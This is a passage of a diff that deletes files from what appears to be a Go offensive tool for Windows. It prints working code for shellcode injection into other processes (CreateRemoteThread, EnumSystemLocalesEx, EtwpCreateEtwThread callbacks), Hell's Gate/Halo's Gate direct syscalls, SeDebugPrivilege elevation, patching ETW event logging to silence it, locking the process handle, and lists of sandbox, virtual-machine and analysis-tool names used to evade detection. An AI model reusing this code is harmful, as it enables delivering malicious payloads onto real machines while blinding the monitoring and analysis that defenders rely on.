req.Header.Set("Accept", "application/x-www-form-urlencoded")
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36")
|
||||
client := &http.Client{}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return []byte(""), err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
b, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return []byte(""), err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and return content in bytes
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
return []byte(""), err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
shellcode_bytes, err := ioutil.ReadAll(f)
|
||||
if err != nil {
|
||||
return []byte(""), err
|
||||
}
|
||||
|
||||
return shellcode_bytes, nil
|
||||
}
|
||||
|
||||
// Convert string to Sha1 (used for hashing)
|
||||
func StrToSha1(str string) string {
|
||||
h := sha1.New()
|
||||
h.Write([]byte(str))
|
||||
bs := h.Sum(nil)
|
||||
return fmt.Sprintf("%x", bs)
|
||||
}
|
||||
|
||||
func CheckHighPrivs() (bool, error) { // Function to check if current user has Administrator privileges
|
||||
var sid *windows.SID
|
||||
err := windows.AllocateAndInitializeSid(
|
||||
&windows.SECURITY_NT_AUTHORITY,
|
||||
2,
|
||||
windows.SECURITY_BUILTIN_DOMAIN_RID,
|
||||
windows.DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0,
|
||||
&sid,
|
||||
)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
token := windows.Token(0)
|
||||
member, err := token.IsMember(sid) // Check if is inside admin group
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return member, nil // return true (means high privs) or false (means low privs)
|
||||
}
|
||||
|
||||
// Enable SeDebugPrivilege
|
||||
func ElevateProcessToken() error {
|
||||
|
||||
type Luid struct {
|
||||
lowPart uint32 // DWORD
|
||||
highPart int32 // long
|
||||
}
|
||||
|
||||
type LuidAndAttributes struct {
|
||||
luid Luid // LUID
|
||||
attributes uint32 // DWORD
|
||||
}
|
||||
|
||||
type TokenPrivileges struct {
|
||||
privilegeCount uint32 // DWORD
|
||||
privileges [1]LuidAndAttributes
|
||||
}
|
||||
|
||||
const SeDebugPrivilege = "SeDebugPrivilege"
|
||||
const tokenAdjustPrivileges = 0x0020
|
||||
const tokenQuery = 0x0008
|
||||
var hToken uintptr
|
||||
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
advapi32 := syscall.NewLazyDLL("advapi32.dll")
|
||||
|
||||
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
GetLastError := kernel32.NewProc("GetLastError")
|
||||
OpenProcessToken := advapi32.NewProc("OpenProcessToken")
|
||||
LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
|
||||
AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")
|
||||
|
||||
currentProcess, _, _ := GetCurrentProcess.Call()
|
||||
|
||||
result, _, err := OpenProcessToken.Call(
|
||||
currentProcess,
|
||||
tokenAdjustPrivileges|tokenQuery,
|
||||
uintptr(unsafe.Pointer(&hToken)),
|
||||
)
|
||||
|
||||
if result != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
var tkp TokenPrivileges
|
||||
|
||||
result, _, err = LookupPrivilegeValue.Call(
|
||||
uintptr(0),
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))),
|
||||
uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
|
||||
)
|
||||
|
||||
if result != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
const SePrivilegeEnabled uint32 = 0x00000002
|
||||
|
||||
tkp.privilegeCount = 1
|
||||
tkp.privileges[0].attributes = SePrivilegeEnabled
|
||||
|
||||
result, _, err = AdjustTokenPrivileges.Call(
|
||||
hToken,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&tkp)),
|
||||
0,
|
||||
uintptr(0),
|
||||
0,
|
||||
)
|
||||
|
||||
if result != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
result, _, _ = GetLastError.Call()
|
||||
if result != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
This code has been taken and modified from Doge-Gabh project
|
||||
|
||||
*/
|
||||
|
||||
type Export struct {
|
||||
Name string
|
||||
VirtualAddress uintptr
|
||||
}
|
||||
|
||||
type sstring struct {
|
||||
Length uint16
|
||||
MaxLength uint16
|
||||
PWstr *uint16
|
||||
}
|
||||
|
||||
func (s sstring) String() string {
|
||||
return windows.UTF16PtrToString(s.PWstr)
|
||||
}
|
||||
|
||||
func inMemLoads(modulename string) (uintptr, uintptr) {
|
||||
s, si, p := gMLO(0)
|
||||
start := p
|
||||
i := 1
|
||||
|
||||
if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) {
|
||||
return s, si
|
||||
}
|
||||
|
||||
for {
|
||||
s, si, p = gMLO(i)
|
||||
|
||||
if p != "" {
|
||||
if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) {
|
||||
return s, si
|
||||
}
|
||||
}
|
||||
|
||||
if p == start {
|
||||
break
|
||||
}
|
||||
|
||||
i++
|
||||
}
|
||||
|
||||
return 0, 0
|
||||
}
|
||||
|
||||
func GetNtdllStart() (start uintptr, size uintptr)
|
||||
|
||||
func getExport(pModuleBase uintptr) []Export {
|
||||
var exports []Export
|
||||
var pImageNtHeaders = (*IMAGE_NT_HEADER)(unsafe.Pointer(pModuleBase + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(pModuleBase)).E_lfanew))) // ntH(pModuleBase)
|
||||
//IMAGE_NT_SIGNATURE
|
||||
if pImageNtHeaders.Signature != 0x00004550 {
|
||||
return nil
|
||||
}
|
||||
var pImageExportDirectory *imageExportDir
|
||||
|
||||
pImageExportDirectory = ((*imageExportDir)(unsafe.Pointer(uintptr(pModuleBase + uintptr(pImageNtHeaders.OptionalHeader.DataDirectory[0].VirtualAddress)))))
|
||||
|
||||
pdwAddressOfFunctions := pModuleBase + uintptr(pImageExportDirectory.AddressOfFunctions)
|
||||
pdwAddressOfNames := pModuleBase + uintptr(pImageExportDirectory.AddressOfNames)
|
||||
|
||||
pwAddressOfNameOrdinales := pModuleBase + uintptr(pImageExportDirectory.AddressOfNameOrdinals)
|
||||
|
||||
for cx := uintptr(0); cx < uintptr((pImageExportDirectory).NumberOfNames); cx++ {
|
||||
var export Export
|
||||
pczFunctionName := pModuleBase + uintptr(*(*uint32)(unsafe.Pointer(pdwAddressOfNames + cx*4)))
|
||||
pFunctionAddress := pModuleBase + uintptr(*(*uint32)(unsafe.Pointer(pdwAddressOfFunctions + uintptr(*(*uint16)(unsafe.Pointer(pwAddressOfNameOrdinales + cx*2)))*4)))
|
||||
export.Name = windows.BytePtrToString((*byte)(unsafe.Pointer(pczFunctionName)))
|
||||
export.VirtualAddress = uintptr(pFunctionAddress)
|
||||
exports = append(exports, export)
|
||||
}
|
||||
|
||||
return exports
|
||||
}
|
||||
|
||||
func memcpy(dst, src, size uintptr) {
|
||||
for i := uintptr(0); i < size; i++ {
|
||||
*(*uint8)(unsafe.Pointer(dst + i)) = *(*uint8)(unsafe.Pointer(src + i))
|
||||
}
|
||||
}
|
||||
|
||||
func findFirstSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
|
||||
|
||||
offset := 0
|
||||
pattern1 := []byte{0x0f, 0x05, 0xc3}
|
||||
pattern2 := []byte{0xcc, 0xcc, 0xcc}
|
||||
|
||||
// find first occurrence of syscall+ret instructions
|
||||
for i := 0; i < size-3; i++ {
|
||||
instructions := []byte{pMem[i], pMem[i+1], pMem[i+2]}
|
||||
|
||||
if (instructions[0] == pattern1[0]) && (instructions[1] == pattern1[1]) && (instructions[2] == pattern1[2]) {
|
||||
offset = i
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// find the beginning of the syscall
|
||||
for i := 3; i < 50; i++ {
|
||||
instructions := []byte{pMem[offset-i], pMem[offset-i+1], pMem[offset-i+2]}
|
||||
if (instructions[0] == pattern2[0]) && (instructions[1] == pattern2[1]) && (instructions[2] == pattern2[2]) {
|
||||
offset = offset - i + 3
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return offset
|
||||
}
|
||||
|
||||
func findLastSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
|
||||
|
||||
offset := 0
|
||||
pattern := []byte{0x0f, 0x05, 0xc3, 0xcd, 0x2e, 0xc3, 0xcc, 0xcc, 0xcc}
|
||||
|
||||
for i := size - 9; i > 0; i-- {
|
||||
instructions := []byte{pMem[i], pMem[i+1], pMem[i+2], pMem[i+3], pMem[i+4], pMem[i+5], pMem[i+6], pMem[i+7], pMem[i+8]}
|
||||
|
||||
if (instructions[0] == pattern[0]) && (instructions[1] == pattern[1]) && (instructions[2] == pattern[2]) {
|
||||
offset = i + 6
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return offset
|
||||
}
|
||||
|
||||
func gMLO(i int) (start uintptr, size uintptr, modulepath string) {
|
||||
var badstring *sstring
|
||||
start, size, badstring = getMLO(i)
|
||||
modulepath = badstring.String()
|
||||
return
|
||||
}
|
||||
|
||||
// getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll.
|
||||
func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring)
|
||||
|
||||
func uint16Down(b []byte, idx uint16) uint16 {
|
||||
_ = b[1] // bounds check hint to compiler; see golang.org/issue/14808
|
||||
return uint16(b[0]) - idx | uint16(b[1])<<8
|
||||
}
|
||||
|
||||
func uint16Up(b []byte, idx uint16) uint16 {
|
||||
_ = b[1] // bounds check hint to compiler; see golang.org/issue/14808
|
||||
return uint16(b[0]) + idx | uint16(b[1])<<8
|
||||
}
|
||||
|
||||
func contains(slice []string, item string) bool {
|
||||
set := make(map[string]struct{}, len(slice))
|
||||
for _, s := range slice {
|
||||
set[s] = struct{}{}
|
||||
}
|
||||
|
||||
_, ok := set[item]
|
||||
return ok
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
package core
|
||||
@@ -1,54 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"time"
|
||||
//"errors"
|
||||
"golang.org/x/sys/windows"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func ConvertStringSecurityDescriptorToSecurityDescriptorW(p1 uintptr, p2 uintptr, p3 uintptr, p4 uintptr) error {
|
||||
advapi32 := windows.NewLazySystemDLL("advapi32.dll")
|
||||
procConvertStringSecurityDescriptorToSecurityDescriptorW := advapi32.NewProc("ConvertStringSecurityDescriptorToSecurityDescriptorW")
|
||||
|
||||
r, _, _ := syscall.Syscall6(
|
||||
procConvertStringSecurityDescriptorToSecurityDescriptorW.Addr(),
|
||||
4,
|
||||
uintptr(p1),
|
||||
uintptr(p2),
|
||||
uintptr(p3),
|
||||
uintptr(p4),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if r != 0 {
|
||||
return syscall.Errno(r)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func BlockHandle() error {
|
||||
sddl, _ := syscall.UTF16PtrFromString("D:P(D;OICI;GA;;;WD)(A;OICI;GA;;;SY)(A;OICI;GA;;;OW)")
|
||||
var sec_descriptor *windows.SECURITY_DESCRIPTOR = nil
|
||||
|
||||
ConvertStringSecurityDescriptorToSecurityDescriptorW(
|
||||
uintptr(unsafe.Pointer(sddl)),
|
||||
1,
|
||||
uintptr(unsafe.Pointer(sec_descriptor)),
|
||||
0,
|
||||
)
|
||||
|
||||
windows.SetKernelObjectSecurity(
|
||||
windows.CurrentProcess(),
|
||||
windows.DACL_SECURITY_INFORMATION,
|
||||
sec_descriptor,
|
||||
)
|
||||
|
||||
sec := uintptr(unsafe.Pointer(sec_descriptor))
|
||||
windows.LocalFree(windows.Handle(sec))
|
||||
time.Sleep(10000 * time.Second)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
package core
|
||||
|
||||
var drivers []string = []string{ // Sandbox drivers taken from https://github.com/LordNoteworthy/al-khaser
|
||||
"C:\\Windows\\System32\\drivers\\VBoxMouse.sys",
|
||||
"C:\\Windows\\System32\\drivers\\VBoxGuest.sys",
|
||||
"C:\\Windows\\System32\\drivers\\VBoxSF.sys",
|
||||
"C:\\Windows\\System32\\drivers\\VBoxVideo.sys",
|
||||
"C:\\Windows\\System32\\vboxdisp.dll",
|
||||
"C:\\Windows\\System32\\vboxhook.dll",
|
||||
"C:\\Windows\\System32\\vboxmrxnp.dll",
|
||||
"C:\\Windows\\System32\\vboxogl.dll",
|
||||
"C:\\Windows\\System32\\vboxoglarrayspu.dll",
|
||||
"C:\\Windows\\System32\\vboxservice.exe",
|
||||
"C:\\Windows\\System32\\vboxtray.exe",
|
||||
"C:\\Windows\\System32\\VBoxControl.exe",
|
||||
"C:\\Windows\\System32\\drivers\\vmmouse.sys",
|
||||
"C:\\Windows\\System32\\drivers\\vmhgfs.sys",
|
||||
"C:\\Windows\\System32\\drivers\\vmci.sys",
|
||||
"C:\\Windows\\System32\\drivers\\vmmemctl.sys",
|
||||
"C:\\Windows\\System32\\drivers\\vmmouse.sys",
|
||||
"C:\\Windows\\System32\\drivers\\vmrawdsk.sys",
|
||||
"C:\\Windows\\System32\\drivers\\vmusbmouse.sys",
|
||||
}
|
||||
|
||||
var processes []string = []string{ // Sandbox processes taken from https://github.com/LordNoteworthy/al-khaser
|
||||
"vboxservice.exe",
|
||||
"vboxtray.exe",
|
||||
"vmtoolsd.exe",
|
||||
"vmwaretray.exe",
|
||||
"vmware.exe",
|
||||
"vmware-vmx.exe",
|
||||
"vmwareuser",
|
||||
"VGAuthService.exe",
|
||||
"vmacthlp.exe",
|
||||
"vmsrvc.exe",
|
||||
"vmusrvc.exe",
|
||||
"xenservice.exe",
|
||||
"qemu-ga.exe",
|
||||
// Some extra processes (added by me)
|
||||
"wireshark.exe",
|
||||
"Procmon.exe",
|
||||
"Procmon64.exe",
|
||||
"volatily.exe",
|
||||
"volatily3.exe",
|
||||
"DumpIt.exe",
|
||||
"dumpit.exe",
|
||||
}
|
||||
|
||||
var hostnames_list []string = []string{
|
||||
"Sandbox",
|
||||
"SANDBOX",
|
||||
"malware",
|
||||
"virus",
|
||||
"Virus",
|
||||
"sample",
|
||||
"debug",
|
||||
"USER-PC",
|
||||
"analysis",
|
||||
"cuckoo",
|
||||
"cuckoofork",
|
||||
"Cuckoo",
|
||||
}
|
||||
|
||||
var usernames_list []string = []string{
|
||||
"sandbox",
|
||||
"virus",
|
||||
"malware",
|
||||
"debug4fun",
|
||||
"debug",
|
||||
"sys",
|
||||
"user1",
|
||||
"Virtual",
|
||||
"virtual",
|
||||
"analyis",
|
||||
"trans_iso_0",
|
||||
"j.yoroi",
|
||||
"venuseye",
|
||||
"VenusEye",
|
||||
"VirusTotal",
|
||||
"virustotal",
|
||||
}
|
||||
@@ -1,233 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
//"fmt"
|
||||
"errors"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func CreateRemoteThread(shellcode []byte, pid int) error {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
|
||||
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
OpenProcess := kernel32.NewProc("OpenProcess")
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
|
||||
CloseHandle := kernel32.NewProc("CloseHandle")
|
||||
|
||||
var pHandle uintptr
|
||||
|
||||
if pid == 0 {
|
||||
pHandle, _, _ = GetCurrentProcess.Call()
|
||||
} else {
|
||||
pHandle, _, _ = OpenProcess.Call(
|
||||
windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION,
|
||||
uintptr(0),
|
||||
uintptr(pid),
|
||||
)
|
||||
}
|
||||
|
||||
addr, _, _ := VirtualAllocEx.Call(
|
||||
uintptr(pHandle),
|
||||
0,
|
||||
uintptr(len(shellcode)),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
||||
windows.PAGE_READWRITE,
|
||||
)
|
||||
|
||||
if addr == 0 {
|
||||
return errors.New("VirtualAllocEx failed and returned 0")
|
||||
}
|
||||
|
||||
WriteProcessMemory.Call(
|
||||
uintptr(pHandle),
|
||||
addr,
|
||||
(uintptr)(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
)
|
||||
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
VirtualProtectEx.Call(
|
||||
uintptr(pHandle),
|
||||
addr,
|
||||
uintptr(len(shellcode)),
|
||||
windows.PAGE_EXECUTE_READ,
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
|
||||
CreateRemoteThreadEx.Call(
|
||||
uintptr(pHandle),
|
||||
0,
|
||||
0,
|
||||
addr,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
_, _, errCloseHandle := CloseHandle.Call(pHandle)
|
||||
if errCloseHandle != nil {
|
||||
return errCloseHandle
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
Hell's Gate + Halo's Gate technique
|
||||
|
||||
*/
|
||||
|
||||
func CreateRemoteThreadHalos(shellcode []byte) error {
|
||||
|
||||
NtAllocateVirtualMemory, err := GetSysId("NtAllocateVirtualMemory")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
NtWriteVirtualMemory, err := GetSysId("NtWriteVirtualMemory")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
NtProtectVirtualMemory, err := GetSysId("NtProtectVirtualMemory")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
NtCreateThreadEx, err := GetSysId("NtCreateThreadEx")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var addr uintptr
|
||||
regionsize := uintptr(len(shellcode))
|
||||
|
||||
r1, err := Syscall(
|
||||
NtAllocateVirtualMemory,
|
||||
uintptr(0xffffffffffffffff),
|
||||
uintptr(unsafe.Pointer(&addr)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
||||
syscall.PAGE_READWRITE,
|
||||
)
|
||||
if r1 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
Syscall(
|
||||
NtWriteVirtualMemory,
|
||||
uintptr(0xffffffffffffffff),
|
||||
addr,
|
||||
uintptr(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
0,
|
||||
)
|
||||
|
||||
var oldProtect uintptr
|
||||
r2, err := Syscall(
|
||||
NtProtectVirtualMemory,
|
||||
uintptr(0xffffffffffffffff),
|
||||
uintptr(unsafe.Pointer(&addr)),
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
syscall.PAGE_EXECUTE_READ,
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
if r2 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
var hhosthread uintptr
|
||||
r3, err := Syscall(
|
||||
NtCreateThreadEx,
|
||||
uintptr(unsafe.Pointer(&hhosthread)),
|
||||
0x1FFFFF,
|
||||
0,
|
||||
uintptr(0xffffffffffffffff),
|
||||
addr,
|
||||
0,
|
||||
uintptr(0),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
|
||||
|
||||
if r3 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
/*var addr uintptr
|
||||
regionsize := uintptr(len(shellcode))
|
||||
|
||||
r1, err := Syscall(
|
||||
NtAllocateVirtualMemory,
|
||||
uintptr(0xffffffffffffffff),
|
||||
uintptr(unsafe.Pointer(&addr)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
||||
syscall.PAGE_READWRITE,
|
||||
)
|
||||
if r1 != 0 {
|
||||
fmt.Println("x")
|
||||
return err
|
||||
}
|
||||
|
||||
Syscall(
|
||||
NtWriteVirtualMemory,
|
||||
uintptr(0xffffffffffffffff),
|
||||
addr,
|
||||
uintptr(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
0,
|
||||
)
|
||||
|
||||
var oldProtect uintptr
|
||||
r2, err := Syscall(
|
||||
NtProtectVirtualMemory,
|
||||
uintptr(0xffffffffffffffff),
|
||||
uintptr(unsafe.Pointer(&addr)),
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
syscall.PAGE_EXECUTE_READ,
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
if r2 != 0 {
|
||||
fmt.Println("xx")
|
||||
return err
|
||||
}
|
||||
|
||||
var hhosthread uintptr
|
||||
r3, err := Syscall(
|
||||
NtCreateThreadEx,
|
||||
uintptr(unsafe.Pointer(&hhosthread)),
|
||||
0x1FFFFF,
|
||||
0,
|
||||
uintptr(0xffffffffffffffff),
|
||||
addr,
|
||||
0,
|
||||
uintptr(0),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
|
||||
|
||||
if r3 != 0 {
|
||||
fmt.Println("xxx")
|
||||
return err
|
||||
}*/
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,102 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func EnumSystemLocales(shellcode []byte) error {
|
||||
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
|
||||
RtlMoveMemory := ntdll.NewProc("RtlMoveMemory")
|
||||
EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
|
||||
|
||||
addr, _, err := VirtualAlloc.Call(
|
||||
0,
|
||||
uintptr(len(shellcode)),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
||||
windows.PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
|
||||
if addr == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
RtlMoveMemory.Call(
|
||||
addr,
|
||||
(uintptr)(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
)
|
||||
|
||||
EnumSystemLocalesEx.Call(
|
||||
addr,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
Hell's Gate + Halo's Gate technique
|
||||
|
||||
*/
|
||||
|
||||
func EnumSystemLocalesHalos(shellcode []byte) error {
|
||||
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
|
||||
|
||||
NtAllocateVirtualMemory, err := GetSysId("NtAllocateVirtualMemory")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
NtWriteVirtualMemory, err := GetSysId("NtWriteVirtualMemory")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
pHandle, _, _ := GetCurrentProcess.Call()
|
||||
|
||||
var addr uintptr
|
||||
regionsize := uintptr(len(shellcode))
|
||||
|
||||
r1, err := Syscall(
|
||||
NtAllocateVirtualMemory,
|
||||
uintptr(pHandle),
|
||||
uintptr(unsafe.Pointer(&addr)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
||||
windows.PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
|
||||
if r1 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
Syscall(
|
||||
NtWriteVirtualMemory,
|
||||
uintptr(pHandle),
|
||||
addr,
|
||||
uintptr(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
0,
|
||||
)
|
||||
|
||||
EnumSystemLocalesEx.Call(
|
||||
addr,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func PatchEtw() error {
|
||||
ntdll := syscall.NewLazyDLL("ntdll.dll")
|
||||
procWriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
|
||||
|
||||
procEtwEventWrite := ntdll.NewProc("EtwEventWrite")
|
||||
procEtwEventWriteEx := ntdll.NewProc("EtwEventWriteEx")
|
||||
procEtwEventWriteFull := ntdll.NewProc("EtwEventWriteFull")
|
||||
procEtwEventWriteString := ntdll.NewProc("EtwEventWriteString")
|
||||
procEtwEventWriteTransfer := ntdll.NewProc("EtwEventWriteTransfer")
|
||||
|
||||
dataAddr := []uintptr{
|
||||
procEtwEventWriteFull.Addr(),
|
||||
procEtwEventWrite.Addr(),
|
||||
procEtwEventWriteEx.Addr(),
|
||||
procEtwEventWriteString.Addr(),
|
||||
procEtwEventWriteTransfer.Addr(),
|
||||
}
|
||||
|
||||
for i := range dataAddr {
|
||||
|
||||
data, _ := hex.DecodeString("4833C0C3")
|
||||
|
||||
procWriteProcessMemory.Call(
|
||||
uintptr(0xffffffffffffffff),
|
||||
uintptr(dataAddr[i]),
|
||||
uintptr(unsafe.Pointer(&data[0])),
|
||||
uintptr(len(data)),
|
||||
0,
|
||||
)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,62 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func EtwpCreateEtwThread(shellcode []byte) error {
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
|
||||
VirtualProtect := kernel32.NewProc("VirtualProtect")
|
||||
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
|
||||
|
||||
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
|
||||
EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
|
||||
|
||||
addr, _, err := VirtualAlloc.Call(
|
||||
0,
|
||||
uintptr(len(shellcode)),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
||||
windows.PAGE_READWRITE,
|
||||
)
|
||||
if addr == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
RtlCopyMemory.Call(
|
||||
addr,
|
||||
(uintptr)(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
)
|
||||
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
VirtualProtect.Call(
|
||||
addr,
|
||||
uintptr(len(shellcode)),
|
||||
windows.PAGE_EXECUTE_READ,
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
|
||||
thread, _, err := EtwpCreateEtwThread.Call(
|
||||
addr,
|
||||
uintptr(0),
|
||||
)
|
||||
if thread == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
r, _, err := WaitForSingleObject.Call(
|
||||
thread,
|
||||
0xFFFFFFFF,
|
||||
)
|
||||
if r != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,78 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var techniques []string = []string{"CreateRemoteThread", "CreateRemoteThreadHalos", "CreateProcess", "EnumSystemLocales", "EnumSystemLocalesHalos", "Fibers", "QueueUserApc", "UuidFromString", "EtwpCreateEtwThread", "RtlCreateUserThread", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10"}
|
||||
|
||||
func Inject(shellcode []byte, technique string, pid int) error {
|
||||
|
||||
// Check especified injection technique
|
||||
if (strings.ToLower(technique) == "createremotethread") || (strings.ToLower(technique) == "1") {
|
||||
err := CreateRemoteThread(shellcode, pid)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "createremotethreadhalos") || (strings.ToLower(technique) == "2") {
|
||||
err := CreateRemoteThreadHalos(shellcode)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
